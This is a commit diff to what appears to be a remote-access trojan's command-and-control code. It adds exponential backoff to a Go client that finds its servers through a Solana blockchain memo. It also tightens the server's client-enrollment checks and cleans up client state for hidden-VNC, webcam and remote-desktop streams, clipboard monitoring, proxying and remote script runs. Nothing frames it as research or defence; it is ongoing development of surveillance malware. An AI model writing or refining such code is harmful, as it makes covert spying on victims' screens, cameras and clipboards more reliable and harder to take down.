add bigger back off, fix issue with null enrollment status bypassing auth, fixed other issues as well
This commit is contained in:
@@ -195,14 +195,23 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const maxBackoff = 2 * time.Minute
|
||||||
|
|
||||||
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
|
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
|
||||||
log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress)
|
log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress)
|
||||||
|
delay := backoff
|
||||||
for len(cfg.ServerURLs) == 0 {
|
for len(cfg.ServerURLs) == 0 {
|
||||||
if refreshServerURLsFromSolana(cfg) {
|
if refreshServerURLsFromSolana(cfg) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
log.Printf("Retrying Solana memo lookup in %s", backoff)
|
log.Printf("Retrying Solana memo lookup in %s", delay)
|
||||||
time.Sleep(backoff)
|
time.Sleep(delay)
|
||||||
|
if delay < maxBackoff {
|
||||||
|
delay = delay * 2
|
||||||
|
if delay > maxBackoff {
|
||||||
|
delay = maxBackoff
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -214,12 +223,19 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL)
|
log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL)
|
||||||
|
delay := backoff
|
||||||
for len(cfg.ServerURLs) == 0 {
|
for len(cfg.ServerURLs) == 0 {
|
||||||
if refreshServerURLsFromRaw(cfg) {
|
if refreshServerURLsFromRaw(cfg) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
log.Printf("Retrying raw server list fetch in %s", backoff)
|
log.Printf("Retrying raw server list fetch in %s", delay)
|
||||||
time.Sleep(backoff)
|
time.Sleep(delay)
|
||||||
|
if delay < maxBackoff {
|
||||||
|
delay = delay * 2
|
||||||
|
if delay > maxBackoff {
|
||||||
|
delay = maxBackoff
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -491,7 +491,7 @@ export function upsertClientRow(
|
|||||||
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
|
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
|
||||||
build_tag=COALESCE(excluded.build_tag, clients.build_tag),
|
build_tag=COALESCE(excluded.build_tag, clients.build_tag),
|
||||||
built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id),
|
built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id),
|
||||||
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END,
|
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE COALESCE(clients.enrollment_status, 'pending') END,
|
||||||
public_key=COALESCE(excluded.public_key, clients.public_key),
|
public_key=COALESCE(excluded.public_key, clients.public_key),
|
||||||
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint),
|
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint),
|
||||||
cpu=COALESCE(excluded.cpu, clients.cpu),
|
cpu=COALESCE(excluded.cpu, clients.cpu),
|
||||||
|
|||||||
@@ -163,6 +163,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
|||||||
|
|
||||||
ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 }));
|
ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 }));
|
||||||
|
|
||||||
|
clearEnrollmentTimeout(id);
|
||||||
const timeout = setTimeout(() => {
|
const timeout = setTimeout(() => {
|
||||||
enrollmentTimeouts.delete(id);
|
enrollmentTimeouts.delete(id);
|
||||||
try {
|
try {
|
||||||
@@ -271,6 +272,11 @@ export async function handleWebSocketMessage(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (enrollmentStatus !== "approved" && enrollmentStatus !== "denied" && enrollmentStatus !== "pending") {
|
||||||
|
logger.warn(`[purgatory] unexpected enrollment_status "${enrollmentStatus}" for ${ws.data.clientId}, treating as pending`);
|
||||||
|
enrollmentStatus = "pending";
|
||||||
|
}
|
||||||
|
|
||||||
const resolvedId = ws.data.clientId;
|
const resolvedId = ws.data.clientId;
|
||||||
const buildTag = typeof (payload as any).buildTag === "string"
|
const buildTag = typeof (payload as any).buildTag === "string"
|
||||||
? (payload as any).buildTag.trim()
|
? (payload as any).buildTag.trim()
|
||||||
@@ -337,7 +343,7 @@ export async function handleWebSocketMessage(
|
|||||||
ip: ip || undefined,
|
ip: ip || undefined,
|
||||||
country,
|
country,
|
||||||
});
|
});
|
||||||
try { ws.close(4001, "pending"); } catch {}
|
setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -347,6 +353,23 @@ export async function handleWebSocketMessage(
|
|||||||
try { existingClient.ws.close(4004, "superseded"); } catch {}
|
try { existingClient.ws.close(4004, "superseded"); } catch {}
|
||||||
clientManager.deleteClient(resolvedId);
|
clientManager.deleteClient(resolvedId);
|
||||||
clearEnrollmentTimeout(resolvedId);
|
clearEnrollmentTimeout(resolvedId);
|
||||||
|
stopAllProxiesForClient(resolvedId);
|
||||||
|
deps.clearPendingNotificationScreenshots(resolvedId);
|
||||||
|
deps.clearClientPluginState(resolvedId);
|
||||||
|
for (const [cmdId, pending] of deps.pendingScripts) {
|
||||||
|
if (pending.clientId === resolvedId) {
|
||||||
|
clearTimeout(pending.timeout);
|
||||||
|
pending.resolve({ ok: false, error: "Client reconnected (superseded)" });
|
||||||
|
deps.pendingScripts.delete(cmdId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (const [cmdId, pending] of deps.pendingCommandReplies) {
|
||||||
|
if (pending.clientId === resolvedId) {
|
||||||
|
clearTimeout(pending.timeout);
|
||||||
|
pending.resolve({ ok: false, message: "Client reconnected (superseded)" });
|
||||||
|
deps.pendingCommandReplies.delete(cmdId);
|
||||||
|
}
|
||||||
|
}
|
||||||
deps.rdStreamingState.delete(resolvedId);
|
deps.rdStreamingState.delete(resolvedId);
|
||||||
deps.hvncStreamingState.delete(resolvedId);
|
deps.hvncStreamingState.delete(resolvedId);
|
||||||
deps.webcamStreamingState.delete(resolvedId);
|
deps.webcamStreamingState.delete(resolvedId);
|
||||||
@@ -380,17 +403,21 @@ export async function handleWebSocketMessage(
|
|||||||
});
|
});
|
||||||
|
|
||||||
const notificationConfig = deps.getNotificationConfig();
|
const notificationConfig = deps.getNotificationConfig();
|
||||||
ws.send(
|
try {
|
||||||
encodeMessage({
|
ws.send(
|
||||||
type: "hello_ack",
|
encodeMessage({
|
||||||
id: resolvedId,
|
type: "hello_ack",
|
||||||
notification: {
|
id: resolvedId,
|
||||||
keywords: notificationConfig.keywords || [],
|
notification: {
|
||||||
minIntervalMs: notificationConfig.minIntervalMs || 8000,
|
keywords: notificationConfig.keywords || [],
|
||||||
clipboardEnabled: notificationConfig.clipboardEnabled || false,
|
minIntervalMs: notificationConfig.minIntervalMs || 8000,
|
||||||
},
|
clipboardEnabled: notificationConfig.clipboardEnabled || false,
|
||||||
}),
|
},
|
||||||
);
|
}),
|
||||||
|
);
|
||||||
|
} catch (sendErr) {
|
||||||
|
logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`);
|
||||||
|
}
|
||||||
|
|
||||||
handleHello(infoObj, payload, ws, ip);
|
handleHello(infoObj, payload, ws, ip);
|
||||||
clientManager.addClient(infoObj.id, infoObj);
|
clientManager.addClient(infoObj.id, infoObj);
|
||||||
|
|||||||
Reference in New Issue
Block a user